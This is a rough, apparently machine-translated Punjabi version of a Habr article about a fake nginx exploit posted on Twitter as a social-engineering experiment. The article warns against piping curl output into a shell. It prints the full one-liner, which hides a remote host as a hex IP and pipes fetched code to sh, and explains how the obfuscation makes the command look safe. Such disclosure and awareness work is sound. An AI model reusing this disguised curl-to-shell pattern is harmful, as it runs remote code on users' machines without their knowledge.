ਇੱਕ ਨਕਲੀ nginx ਸ਼ੋਸ਼ਣ ਦੇ ਨਾਲ ਇੱਕ ਸਮਾਜਿਕ ਪ੍ਰਯੋਗ ਦੀ ਸਫਲਤਾ

ਨੋਟ ਕਰੋ। ਅਨੁਵਾਦ: ਲੇਖਕ ਮੂਲ ਨੋਟ, 1 ਜੂਨ ਨੂੰ ਪ੍ਰਕਾਸ਼ਿਤ, ਸੂਚਨਾ ਸੁਰੱਖਿਆ ਵਿੱਚ ਦਿਲਚਸਪੀ ਰੱਖਣ ਵਾਲਿਆਂ ਵਿੱਚ ਇੱਕ ਪ੍ਰਯੋਗ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ ਗਿਆ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਉਸਨੇ ਵੈਬ ਸਰਵਰ ਵਿੱਚ ਇੱਕ ਅਣਜਾਣ ਕਮਜ਼ੋਰੀ ਲਈ ਇੱਕ ਜਾਅਲੀ ਸ਼ੋਸ਼ਣ ਤਿਆਰ ਕੀਤਾ ਅਤੇ ਇਸਨੂੰ ਆਪਣੇ ਟਵਿੱਟਰ 'ਤੇ ਪੋਸਟ ਕੀਤਾ। ਉਸ ਦੀਆਂ ਧਾਰਨਾਵਾਂ - ਉਹਨਾਂ ਮਾਹਰਾਂ ਦੁਆਰਾ ਤੁਰੰਤ ਪ੍ਰਗਟ ਹੋਣ ਲਈ ਜੋ ਕੋਡ ਵਿੱਚ ਸਪੱਸ਼ਟ ਧੋਖਾ ਵੇਖਣਗੇ - ਨਾ ਸਿਰਫ ਸੱਚ ਹੋਏ ... ਉਹਨਾਂ ਨੇ ਸਾਰੀਆਂ ਉਮੀਦਾਂ ਨੂੰ ਪਾਰ ਕੀਤਾ, ਅਤੇ ਉਲਟ ਦਿਸ਼ਾ ਵਿੱਚ: ਟਵੀਟ ਨੂੰ ਬਹੁਤ ਸਾਰੇ ਲੋਕਾਂ ਤੋਂ ਭਾਰੀ ਸਮਰਥਨ ਪ੍ਰਾਪਤ ਹੋਇਆ ਜੋ ਨਹੀਂ ਕਰਦੇ ਸਨ. ਇਸਦੀ ਸਮੱਗਰੀ ਦੀ ਜਾਂਚ ਕਰੋ।

TL;DR: ਕਿਸੇ ਵੀ ਸਥਿਤੀ ਵਿੱਚ sh ਜਾਂ bash ਵਿੱਚ ਫਾਈਲ ਪਾਈਪਲਾਈਨਿੰਗ ਦੀ ਵਰਤੋਂ ਨਾ ਕਰੋ। ਇਹ ਤੁਹਾਡੇ ਕੰਪਿਊਟਰ ਦਾ ਕੰਟਰੋਲ ਗੁਆਉਣ ਦਾ ਵਧੀਆ ਤਰੀਕਾ ਹੈ।

ਮੈਂ ਤੁਹਾਡੇ ਨਾਲ ਇੱਕ ਕਾਮਿਕ PoC ਸ਼ੋਸ਼ਣ ਬਾਰੇ ਇੱਕ ਛੋਟੀ ਕਹਾਣੀ ਸਾਂਝੀ ਕਰਨਾ ਚਾਹੁੰਦਾ ਹਾਂ ਜੋ 31 ਮਈ ਨੂੰ ਬਣਾਈ ਗਈ ਸੀ। ਤੋਂ ਖ਼ਬਰਾਂ ਦੇ ਜਵਾਬ ਵਿੱਚ ਉਹ ਤੁਰੰਤ ਪ੍ਰਗਟ ਹੋਇਆ ਅਲੀਸਾ ਏਸੇਜ ਸ਼ੇਵਚੇਂਕੋ, ਮੈਂਬਰ ਜ਼ੀਰੋ ਡੇਅ ਪਹਿਲ (ZDI), ਜੋ ਕਿ NGINX ਵਿੱਚ ਇੱਕ ਕਮਜ਼ੋਰੀ ਬਾਰੇ ਜਾਣਕਾਰੀ ਜੋ RCE (ਰਿਮੋਟ ਕੋਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ) ਵੱਲ ਲੈ ਜਾਂਦੀ ਹੈ, ਜਲਦੀ ਹੀ ਖੁਲਾਸਾ ਕੀਤਾ ਜਾਵੇਗਾ। ਕਿਉਂਕਿ ਐਨਜੀਆਈਐਨਐਕਸ ਬਹੁਤ ਸਾਰੀਆਂ ਵੈਬਸਾਈਟਾਂ ਨੂੰ ਸ਼ਕਤੀ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ, ਇਸ ਲਈ ਖ਼ਬਰਾਂ ਇੱਕ ਧਮਾਕੇਦਾਰ ਹੋਣੀਆਂ ਚਾਹੀਦੀਆਂ ਹਨ। ਪਰ "ਜ਼ਿੰਮੇਵਾਰ ਖੁਲਾਸੇ" ਦੀ ਪ੍ਰਕਿਰਿਆ ਵਿੱਚ ਦੇਰੀ ਦੇ ਕਾਰਨ, ਜੋ ਕੁਝ ਹੋਇਆ ਸੀ ਉਸ ਦੇ ਵੇਰਵਿਆਂ ਦਾ ਪਤਾ ਨਹੀਂ ਸੀ - ਇਹ ਮਿਆਰੀ ZDI ਪ੍ਰਕਿਰਿਆ ਹੈ।

ਟਵੀਟ NGINX ਵਿੱਚ ਕਮਜ਼ੋਰੀ ਦੇ ਖੁਲਾਸੇ ਬਾਰੇ

ਕਰਲ ਵਿੱਚ ਇੱਕ ਨਵੀਂ ਗੁੰਝਲਦਾਰ ਤਕਨੀਕ 'ਤੇ ਕੰਮ ਕਰਨਾ ਪੂਰਾ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਮੈਂ ਅਸਲ ਟਵੀਟ ਦਾ ਹਵਾਲਾ ਦਿੱਤਾ ਅਤੇ "ਇੱਕ ਵਰਕਿੰਗ ਪੀਓਸੀ ਲੀਕ ਕੀਤਾ" ਜਿਸ ਵਿੱਚ ਕੋਡ ਦੀ ਇੱਕ ਲਾਈਨ ਹੁੰਦੀ ਹੈ ਜੋ ਖੋਜੀ ਗਈ ਕਮਜ਼ੋਰੀ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਦੀ ਹੈ। ਬੇਸ਼ੱਕ, ਇਹ ਪੂਰੀ ਬਕਵਾਸ ਸੀ. ਮੈਂ ਮੰਨਿਆ ਕਿ ਮੈਂ ਤੁਰੰਤ ਬੇਨਕਾਬ ਹੋ ਜਾਵਾਂਗਾ, ਅਤੇ ਇਹ ਕਿ ਸਭ ਤੋਂ ਵਧੀਆ ਮੈਨੂੰ ਕੁਝ ਰੀਟਵੀਟ ਮਿਲਣਗੇ (ਓਹ ਠੀਕ ਹੈ).

ਟਵੀਟ ਨਕਲੀ ਸ਼ੋਸ਼ਣ ਦੇ ਨਾਲ

ਹਾਲਾਂਕਿ, ਮੈਂ ਕਲਪਨਾ ਨਹੀਂ ਕਰ ਸਕਦਾ ਸੀ ਕਿ ਅੱਗੇ ਕੀ ਹੋਇਆ. ਮੇਰੇ ਟਵੀਟ ਦੀ ਪ੍ਰਸਿੱਧੀ ਅਸਮਾਨ ਨੂੰ ਛੂਹ ਗਈ। ਹੈਰਾਨੀ ਦੀ ਗੱਲ ਹੈ ਕਿ ਇਸ ਸਮੇਂ (15:00 ਮਾਸਕੋ ਸਮਾਂ 1 ਜੂਨ) ਬਹੁਤ ਘੱਟ ਲੋਕਾਂ ਨੂੰ ਇਹ ਅਹਿਸਾਸ ਹੋਇਆ ਹੈ ਕਿ ਇਹ ਜਾਅਲੀ ਹੈ। ਬਹੁਤ ਸਾਰੇ ਲੋਕ ਇਸਦੀ ਜਾਂਚ ਕੀਤੇ ਬਿਨਾਂ ਇਸਨੂੰ ਰੀਟਵੀਟ ਕਰਦੇ ਹਨ (ਆਉਟਪੁੱਟ ਦੇ ਸੁੰਦਰ ASCII ਗ੍ਰਾਫਿਕਸ ਦੀ ਪ੍ਰਸ਼ੰਸਾ ਕਰਨ ਦਿਓ)।

ਜ਼ਰਾ ਦੇਖੋ ਕਿ ਇਹ ਕਿੰਨੀ ਸੁੰਦਰ ਹੈ!

ਹਾਲਾਂਕਿ ਇਹ ਸਾਰੇ ਲੂਪਸ ਅਤੇ ਰੰਗ ਬਹੁਤ ਵਧੀਆ ਹਨ, ਇਹ ਸਪੱਸ਼ਟ ਹੈ ਕਿ ਲੋਕਾਂ ਨੂੰ ਉਹਨਾਂ ਨੂੰ ਦੇਖਣ ਲਈ ਉਹਨਾਂ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਕੋਡ ਚਲਾਉਣਾ ਪੈਂਦਾ ਹੈ। ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ, ਬ੍ਰਾਉਜ਼ਰ ਉਸੇ ਤਰ੍ਹਾਂ ਕੰਮ ਕਰਦੇ ਹਨ, ਅਤੇ ਇਸ ਤੱਥ ਦੇ ਨਾਲ ਕਿ ਮੈਂ ਅਸਲ ਵਿੱਚ ਕਾਨੂੰਨੀ ਮੁਸੀਬਤ ਵਿੱਚ ਨਹੀਂ ਪੈਣਾ ਚਾਹੁੰਦਾ ਸੀ, ਮੇਰੀ ਸਾਈਟ ਵਿੱਚ ਦੱਬਿਆ ਕੋਡ ਕਿਸੇ ਵੀ ਵਾਧੂ ਕੋਡ ਨੂੰ ਸਥਾਪਤ ਕਰਨ ਜਾਂ ਚਲਾਉਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੇ ਬਿਨਾਂ ਈਕੋ ਕਾਲ ਕਰ ਰਿਹਾ ਸੀ।

ਛੋਟਾ ਧਿਆਨ: ਨੈੱਟਸਪੂਕੀ, ਭਾਵ, ਮੈਂ ਅਤੇ ਟੀਮ ਦੇ ਹੋਰ ਲੋਕ ਠੱਗਾਂ ਦੀ ਭੀੜ ਅਸੀਂ ਕੁਝ ਸਮੇਂ ਤੋਂ ਕਰਲ ਕਮਾਂਡਾਂ ਨੂੰ ਅਸਪਸ਼ਟ ਕਰਨ ਦੇ ਵੱਖ-ਵੱਖ ਤਰੀਕਿਆਂ ਨਾਲ ਖੇਡ ਰਹੇ ਹਾਂ ਕਿਉਂਕਿ ਇਹ ਬਹੁਤ ਵਧੀਆ ਹੈ... ਅਤੇ ਅਸੀਂ ਗੀਕਸ ਹਾਂ। netspooky ਅਤੇ dnz ਨੇ ਕਈ ਨਵੇਂ ਤਰੀਕੇ ਲੱਭੇ ਹਨ ਜੋ ਮੇਰੇ ਲਈ ਬਹੁਤ ਵਧੀਆ ਲੱਗਦੇ ਸਨ। ਮੈਂ ਮਜ਼ੇ ਵਿੱਚ ਸ਼ਾਮਲ ਹੋ ਗਿਆ ਅਤੇ ਟ੍ਰਿਕਸ ਦੇ ਬੈਗ ਵਿੱਚ IP ਦਸ਼ਮਲਵ ਪਰਿਵਰਤਨ ਜੋੜਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ। ਇਹ ਪਤਾ ਚਲਦਾ ਹੈ ਕਿ IP ਨੂੰ ਹੈਕਸਾਡੈਸੀਮਲ ਫਾਰਮੈਟ ਵਿੱਚ ਵੀ ਬਦਲਿਆ ਜਾ ਸਕਦਾ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਕਰਲ ਅਤੇ ਜ਼ਿਆਦਾਤਰ ਹੋਰ NIX ਟੂਲ ਖੁਸ਼ੀ ਨਾਲ ਹੈਕਸਾਡੈਸੀਮਲ IPs ਖਾਂਦੇ ਹਨ! ਇਸ ਲਈ ਇਹ ਸਿਰਫ਼ ਇੱਕ ਯਕੀਨਨ ਅਤੇ ਸੁਰੱਖਿਅਤ ਦਿੱਖ ਵਾਲੀ ਕਮਾਂਡ ਲਾਈਨ ਬਣਾਉਣ ਦੀ ਗੱਲ ਸੀ। ਆਖਰਕਾਰ ਮੈਂ ਇਸ 'ਤੇ ਸੈਟਲ ਹੋ ਗਿਆ:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

ਸਮਾਜਿਕ-ਇਲੈਕਟ੍ਰਾਨਿਕ ਇੰਜੀਨੀਅਰਿੰਗ (SEE) ਸਿਰਫ਼ ਫਿਸ਼ਿੰਗ ਤੋਂ ਵੱਧ ਹੈ

ਸੁਰੱਖਿਆ ਅਤੇ ਜਾਣ-ਪਛਾਣ ਇਸ ਪ੍ਰਯੋਗ ਦਾ ਇੱਕ ਪ੍ਰਮੁੱਖ ਹਿੱਸਾ ਸਨ। ਮੈਨੂੰ ਲਗਦਾ ਹੈ ਕਿ ਉਹ ਉਹ ਹਨ ਜੋ ਉਸਦੀ ਸਫਲਤਾ ਦੀ ਅਗਵਾਈ ਕਰਦੇ ਹਨ. ਕਮਾਂਡ ਲਾਈਨ ਸਪਸ਼ਟ ਤੌਰ 'ਤੇ "127.0.0.1" (ਜਾਣਿਆ ਲੋਕਲਹੋਸਟ) ਦਾ ਹਵਾਲਾ ਦੇ ਕੇ ਸੁਰੱਖਿਆ ਨੂੰ ਦਰਸਾਉਂਦੀ ਹੈ। ਲੋਕਲਹੋਸਟ ਨੂੰ ਸੁਰੱਖਿਅਤ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ ਅਤੇ ਇਸ 'ਤੇ ਮੌਜੂਦ ਡੇਟਾ ਕਦੇ ਵੀ ਤੁਹਾਡੇ ਕੰਪਿਊਟਰ ਨੂੰ ਨਹੀਂ ਛੱਡਦਾ।

ਜਾਣ-ਪਛਾਣ ਪ੍ਰਯੋਗ ਦਾ ਦੂਜਾ ਮੁੱਖ SEE ਭਾਗ ਸੀ। ਕਿਉਂਕਿ ਟੀਚਾ ਦਰਸ਼ਕ ਮੁੱਖ ਤੌਰ 'ਤੇ ਕੰਪਿਊਟਰ ਸੁਰੱਖਿਆ ਦੀਆਂ ਬੁਨਿਆਦੀ ਗੱਲਾਂ ਤੋਂ ਜਾਣੂ ਲੋਕ ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ, ਇਸ ਲਈ ਕੋਡ ਬਣਾਉਣਾ ਮਹੱਤਵਪੂਰਨ ਸੀ ਤਾਂ ਜੋ ਇਸ ਦੇ ਕੁਝ ਹਿੱਸੇ ਜਾਣੇ-ਪਛਾਣੇ ਅਤੇ ਜਾਣੇ-ਪਛਾਣੇ ਲੱਗ ਸਕਣ (ਅਤੇ ਇਸ ਲਈ ਸੁਰੱਖਿਅਤ)। ਪੁਰਾਣੇ ਸ਼ੋਸ਼ਣ ਸੰਕਲਪਾਂ ਦੇ ਤੱਤ ਉਧਾਰ ਲੈਣਾ ਅਤੇ ਉਹਨਾਂ ਨੂੰ ਅਸਾਧਾਰਨ ਤਰੀਕੇ ਨਾਲ ਜੋੜਨਾ ਬਹੁਤ ਸਫਲ ਸਾਬਤ ਹੋਇਆ ਹੈ।

ਹੇਠਾਂ ਇਕ-ਲਾਈਨਰ ਦਾ ਵਿਸਤ੍ਰਿਤ ਵਿਸ਼ਲੇਸ਼ਣ ਹੈ। ਇਸ ਸੂਚੀ ਵਿੱਚ ਸਭ ਕੁਝ ਪਹਿਨਦਾ ਹੈ ਕਾਸਮੈਟਿਕ ਕੁਦਰਤ, ਅਤੇ ਇਸਦੀ ਅਸਲ ਕਾਰਵਾਈ ਲਈ ਅਮਲੀ ਤੌਰ 'ਤੇ ਕੁਝ ਵੀ ਲੋੜੀਂਦਾ ਨਹੀਂ ਹੈ।

ਕਿਹੜੇ ਹਿੱਸੇ ਅਸਲ ਵਿੱਚ ਜ਼ਰੂਰੀ ਹਨ? ਇਹ -gsS, -O 0x0238f06a, |sh ਅਤੇ ਵੈੱਬ ਸਰਵਰ ਖੁਦ। ਵੈਬ ਸਰਵਰ ਵਿੱਚ ਕੋਈ ਖਤਰਨਾਕ ਨਿਰਦੇਸ਼ ਨਹੀਂ ਸਨ, ਪਰ ਸਿਰਫ਼ ਕਮਾਂਡਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ASCII ਗ੍ਰਾਫਿਕਸ ਪ੍ਰਦਾਨ ਕੀਤੇ ਗਏ ਸਨ echo ਵਿੱਚ ਸ਼ਾਮਿਲ ਸਕ੍ਰਿਪਟ ਵਿੱਚ index.html. ਜਦੋਂ ਉਪਭੋਗਤਾ ਨੇ ਨਾਲ ਇੱਕ ਲਾਈਨ ਦਾਖਲ ਕੀਤੀ |sh ਮੱਧ ਵਿੱਚ, index.html ਲੋਡ ਕੀਤਾ ਅਤੇ ਚਲਾਇਆ। ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ, ਵੈਬ ਸਰਵਰ ਦੇ ਰੱਖਿਅਕਾਂ ਦੇ ਕੋਈ ਮਾੜੇ ਇਰਾਦੇ ਨਹੀਂ ਸਨ।

• ../../../%00 — ਡਾਇਰੈਕਟਰੀ ਤੋਂ ਬਾਹਰ ਜਾਣ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ;
• ngx_stream_module.so — ਇੱਕ ਬੇਤਰਤੀਬ NGINX ਮੋਡੀਊਲ ਦਾ ਮਾਰਗ;
• /bin/sh%00<'protocol:TCP' - ਅਸੀਂ ਅਨੁਮਾਨਤ ਤੌਰ 'ਤੇ ਲਾਂਚ ਕਰ ਰਹੇ ਹਾਂ /bin/sh ਟਾਰਗਿਟ ਮਸ਼ੀਨ 'ਤੇ ਅਤੇ ਆਉਟਪੁੱਟ ਨੂੰ TCP ਚੈਨਲ 'ਤੇ ਰੀਡਾਇਰੈਕਟ ਕਰੋ;
• -O 0x0238f06a#PLToffset - ਗੁਪਤ ਸਮੱਗਰੀ, ਪੂਰਕ #PLToffset, ਕਿਸੇ ਤਰ੍ਹਾਂ PLT ਵਿੱਚ ਮੌਜੂਦ ਇੱਕ ਮੈਮੋਰੀ ਆਫਸੈੱਟ ਦੀ ਤਰ੍ਹਾਂ ਦੇਖਣ ਲਈ;
• |sh; - ਇੱਕ ਹੋਰ ਮਹੱਤਵਪੂਰਨ ਟੁਕੜਾ. 'ਤੇ ਸਥਿਤ ਹਮਲਾਵਰ ਵੈਬ ਸਰਵਰ ਤੋਂ ਆਉਣ ਵਾਲੇ ਕੋਡ ਨੂੰ ਚਲਾਉਣ ਲਈ ਸਾਨੂੰ ਆਉਟਪੁੱਟ ਨੂੰ sh/bash 'ਤੇ ਰੀਡਾਇਰੈਕਟ ਕਰਨ ਦੀ ਲੋੜ ਸੀ। 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - ਇੱਕ ਡਮੀ ਜਿਸ ਵਿੱਚ ਨੈੱਟਕੈਟ ਦਾ ਹਵਾਲਾ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ /dev/tcp/localhostਤਾਂ ਜੋ ਸਭ ਕੁਝ ਦੁਬਾਰਾ ਸੁਰੱਖਿਅਤ ਦਿਖਾਈ ਦੇਵੇ। ਵਾਸਤਵ ਵਿੱਚ, ਇਹ ਕੁਝ ਨਹੀਂ ਕਰਦਾ ਹੈ ਅਤੇ ਸੁੰਦਰਤਾ ਲਈ ਲਾਈਨ ਵਿੱਚ ਸ਼ਾਮਲ ਹੈ.

ਇਹ ਇੱਕ-ਲਾਈਨ ਸਕ੍ਰਿਪਟ ਦੀ ਡੀਕੋਡਿੰਗ ਅਤੇ "ਸਮਾਜਿਕ-ਇਲੈਕਟ੍ਰਾਨਿਕ ਇੰਜੀਨੀਅਰਿੰਗ" (ਗੁੰਝਲਦਾਰ ਫਿਸ਼ਿੰਗ) ਦੇ ਪਹਿਲੂਆਂ ਦੀ ਚਰਚਾ ਨੂੰ ਸਮਾਪਤ ਕਰਦਾ ਹੈ।

ਵੈੱਬ ਸਰਵਰ ਕੌਂਫਿਗਰੇਸ਼ਨ ਅਤੇ ਵਿਰੋਧੀ ਉਪਾਅ

ਕਿਉਂਕਿ ਮੇਰੇ ਬਹੁਤ ਸਾਰੇ ਗਾਹਕ infosec/ਹੈਕਰ ਹਨ, ਮੈਂ ਵੈਬ ਸਰਵਰ ਨੂੰ ਉਹਨਾਂ ਦੇ ਹਿੱਸੇ 'ਤੇ "ਦਿਲਚਸਪੀ" ਦੇ ਪ੍ਰਗਟਾਵੇ ਲਈ ਥੋੜਾ ਹੋਰ ਰੋਧਕ ਬਣਾਉਣ ਦਾ ਫੈਸਲਾ ਕੀਤਾ ਹੈ, ਤਾਂ ਜੋ ਮੁੰਡਿਆਂ ਕੋਲ ਕੁਝ ਕਰਨ ਲਈ ਹੋਵੇ (ਅਤੇ ਇਹ ਮਜ਼ੇਦਾਰ ਹੋਵੇਗਾ ਸਥਾਪਨਾ ਕਰਨਾ). ਮੈਂ ਇੱਥੇ ਸਾਰੀਆਂ ਕਮੀਆਂ ਨੂੰ ਸੂਚੀਬੱਧ ਨਹੀਂ ਕਰਨ ਜਾ ਰਿਹਾ ਹਾਂ ਕਿਉਂਕਿ ਪ੍ਰਯੋਗ ਅਜੇ ਵੀ ਜਾਰੀ ਹੈ, ਪਰ ਇੱਥੇ ਕੁਝ ਚੀਜ਼ਾਂ ਹਨ ਜੋ ਸਰਵਰ ਕਰਦਾ ਹੈ:

• ਕੁਝ ਸੋਸ਼ਲ ਨੈਟਵਰਕਸ 'ਤੇ ਵੰਡ ਦੀਆਂ ਕੋਸ਼ਿਸ਼ਾਂ ਦੀ ਸਰਗਰਮੀ ਨਾਲ ਨਿਗਰਾਨੀ ਕਰਦਾ ਹੈ ਅਤੇ ਉਪਭੋਗਤਾ ਨੂੰ ਲਿੰਕ 'ਤੇ ਕਲਿੱਕ ਕਰਨ ਲਈ ਉਤਸ਼ਾਹਿਤ ਕਰਨ ਲਈ ਵੱਖ-ਵੱਖ ਝਲਕ ਥੰਬਨੇਲਾਂ ਦੀ ਥਾਂ ਲੈਂਦਾ ਹੈ।
• ਸ਼ੈੱਲ ਸਕ੍ਰਿਪਟ ਦਿਖਾਉਣ ਦੀ ਬਜਾਏ Chrome/Mozilla/Safari/etc ਨੂੰ Thugcrowd ਪ੍ਰਚਾਰਕ ਵੀਡੀਓ 'ਤੇ ਰੀਡਾਇਰੈਕਟ ਕਰਦਾ ਹੈ।
• ਘੁਸਪੈਠ/ਸਪੱਸ਼ਟ ਹੈਕਿੰਗ ਦੇ ਸਪੱਸ਼ਟ ਸੰਕੇਤਾਂ ਦੀ ਨਿਗਰਾਨੀ ਕਰਦਾ ਹੈ, ਅਤੇ ਫਿਰ NSA ਸਰਵਰਾਂ (ha!) ਲਈ ਬੇਨਤੀਆਂ ਨੂੰ ਰੀਡਾਇਰੈਕਟ ਕਰਨਾ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ।
• ਇੱਕ ਟਰੋਜਨ, ਅਤੇ ਨਾਲ ਹੀ ਇੱਕ BIOS ਰੂਟਕਿਟ, ਉਹਨਾਂ ਸਾਰੇ ਕੰਪਿਊਟਰਾਂ 'ਤੇ ਸਥਾਪਿਤ ਕਰਦਾ ਹੈ ਜਿਨ੍ਹਾਂ ਦੇ ਉਪਭੋਗਤਾ ਇੱਕ ਨਿਯਮਤ ਬ੍ਰਾਊਜ਼ਰ ਤੋਂ ਹੋਸਟ 'ਤੇ ਜਾਂਦੇ ਹਨ (ਸਿਰਫ਼ ਮਜ਼ਾਕ ਕਰਦੇ ਹਨ!)।

ਐਂਟੀਮਰਸ ਦਾ ਇੱਕ ਛੋਟਾ ਜਿਹਾ ਹਿੱਸਾ

ਇਸ ਕੇਸ ਵਿੱਚ, ਮੇਰਾ ਇੱਕੋ ਇੱਕ ਟੀਚਾ ਅਪਾਚੇ ਦੀਆਂ ਕੁਝ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਵਿੱਚ ਮੁਹਾਰਤ ਹਾਸਲ ਕਰਨਾ ਸੀ - ਖਾਸ ਤੌਰ 'ਤੇ, ਬੇਨਤੀਆਂ ਨੂੰ ਰੀਡਾਇਰੈਕਟ ਕਰਨ ਲਈ ਠੰਡੇ ਨਿਯਮ - ਅਤੇ ਮੈਂ ਸੋਚਿਆ: ਕਿਉਂ ਨਹੀਂ?

NGINX ਸ਼ੋਸ਼ਣ (ਅਸਲ!)

ਦੀ ਗਾਹਕੀ ਲਓ @alisaesage ਟਵਿੱਟਰ 'ਤੇ ਅਤੇ NGINX ਵਿੱਚ ਬਹੁਤ ਹੀ ਅਸਲ ਕਮਜ਼ੋਰੀਆਂ ਨੂੰ ਹੱਲ ਕਰਨ ਅਤੇ ਮੌਕਿਆਂ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਨ ਵਿੱਚ ZDI ਦੇ ਮਹਾਨ ਕੰਮ ਦੀ ਪਾਲਣਾ ਕਰੋ। ਉਨ੍ਹਾਂ ਦੇ ਕੰਮ ਨੇ ਹਮੇਸ਼ਾ ਮੈਨੂੰ ਆਕਰਸ਼ਤ ਕੀਤਾ ਹੈ ਅਤੇ ਮੈਂ ਐਲਿਸ ਦਾ ਧੰਨਵਾਦੀ ਹਾਂ ਕਿ ਮੇਰੇ ਮੂਰਖ ਟਵੀਟ ਕਾਰਨ ਸਾਰੇ ਜ਼ਿਕਰਾਂ ਅਤੇ ਸੂਚਨਾਵਾਂ ਦੇ ਨਾਲ ਉਸਦੇ ਧੀਰਜ ਲਈ। ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ, ਇਸਨੇ ਕੁਝ ਚੰਗਾ ਵੀ ਕੀਤਾ: ਇਸ ਨੇ NGINX ਕਮਜ਼ੋਰੀਆਂ ਦੇ ਨਾਲ-ਨਾਲ ਕਰਲ ਦੀ ਦੁਰਵਰਤੋਂ ਕਾਰਨ ਹੋਣ ਵਾਲੀਆਂ ਸਮੱਸਿਆਵਾਂ ਬਾਰੇ ਜਾਗਰੂਕਤਾ ਵਧਾਉਣ ਵਿੱਚ ਮਦਦ ਕੀਤੀ।

ਸਰੋਤ: www.habr.com